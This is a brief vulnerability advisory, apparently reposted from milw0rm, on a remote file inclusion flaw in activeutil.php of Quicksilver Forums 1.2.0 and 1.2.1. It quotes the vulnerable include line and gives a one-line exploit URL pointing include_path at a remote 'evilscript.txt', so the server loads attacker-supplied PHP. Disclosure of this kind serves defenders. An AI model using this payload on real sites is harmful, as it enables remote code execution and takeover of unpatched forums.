|
|
| |
Quicksilver Forums is a bulletin board system written in PHP and MySQL.
A flaw in the php file activeutil.php allows a hacker to include a malitioce php file using "set[include_path]". |
| |
Credit:
The original article can be found at:
http://www.milw0rm.com/exploits/2356
|
| |
Vulnerable Systems:
* Quicksilver Forums version 1.2.0
* Quicksilver Forums version 1.2.1
A flow in the php file activeutil.php allows a hacker to include a malitioce php file using "set[include_path]".
The code:
require_once $set['include_path'] . '/lib/bbcode.php';
Exploit Code:
http://www.site.com/[path]/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt?
Vendor Status:
No fix is available at the moment.
|
|
blog comments powered by
|
